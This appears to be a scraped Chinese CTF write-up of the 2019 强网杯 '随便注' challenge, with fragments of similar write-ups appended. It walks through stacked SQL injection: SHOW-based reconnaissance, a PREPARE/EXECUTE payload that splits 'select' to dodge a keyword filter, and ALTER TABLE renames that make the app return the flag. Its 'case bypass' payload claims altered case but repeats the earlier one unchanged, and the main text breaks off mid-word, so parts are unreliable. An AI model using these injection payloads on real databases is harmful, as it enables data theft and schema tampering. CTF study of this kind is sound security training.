知識點
原理參考堆疊注入詳解
開啟題目,如圖所示
嘗試-1' union select 1,2#
發現select被禁
嘗試堆疊注入
查庫
查表
查1919810931114514表的列名
1';show columns from `1919810931114514`#
這裡表名使用反引號進行包含
應該就是從1919810931114514中查flag
查words表的列名
兩種方式查flag
第一種 預編譯
來自2019強網杯"隨便注"學習
需要執行的目標語句為
select *
from `1919810931114514`;
預編譯相關語法如下
set用於設定變數名和值
prepare用於預備乙個語句,並賦予名稱,以後可以引用該語句
execute執行語句
deallocate prepare用來釋放掉預處理的語句
payload
-
1';set @sql = concat('se','lect *
from `1919810931114514`;')
;prepare stmt from @sql;execute stmt;#即
-1';
set @sql = concat(
'se'
,'lect * from `1919810931114514`;');
prepare stmt from @sql;
execute stmt;
#
回顯strstr($inject, "set") && strstr($inject, "prepare")
strstr無法區分大小寫,用大小寫繞過
-
1';set @sql = concat('se','lect *
from `1919810931114514`;')
;prepare stmt from @sql;execute stmt;#即
-1';
set @sql = concat(
'se'
,'lect * from `1919810931114514`;');
prepare stmt from @sql;
execute stmt;
#
第二種 重新命名猜測後台查詢語句為
select *
from words where id=''
;
將1919810931114514表名改為words,flag列名改為id,這樣後台從words表裡查詢id時,實際上查的是1919810931114514表的flag
改名語法如下
修改表名(將表名user改為users)
alter table user rename to users;
修改列名(將欄位名username改為name)
alter table users change uesrname name varchar(30)
;
payload
1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50)
;#拆分開來如下
1';alter table words rename to words1;
alter table `1919810931114514` rename to words;
alter table words change flag id varchar(50)
;#
最後使用1' or 1=1#
得到fla 強網杯 2019 隨便注
1 or 1 1 回顯了所有使用者資訊 union select 1,2 得到回顯 return preg match select update delete drop insert where i inject 過濾了 select update delete drop insert where...
強網杯 2019 隨便注
題目 開啟後如下,比較典型的一道sql注入題目 輸入1 發現會返回一些資料,所以可以嘗試一下堆疊注入。堆疊注入 試一下,查詢資料庫 1 show databases 發現可以將資料庫都顯示出來,說明可行 再試試查詢表,回顯兩個表 1 show tables 查詢所有表 然後繼續訪問表中的列 1 sh...
強網杯 2019 隨便注
根據題目嘗試sql注入,單引號報錯,單引號加注釋無報錯,說明存在sql注入,當測試輸入select時返回過濾的黑名單 return preg match select update delete drop insert where i inject 這道題使用的是堆疊注入,原理 在sql中,分號 是...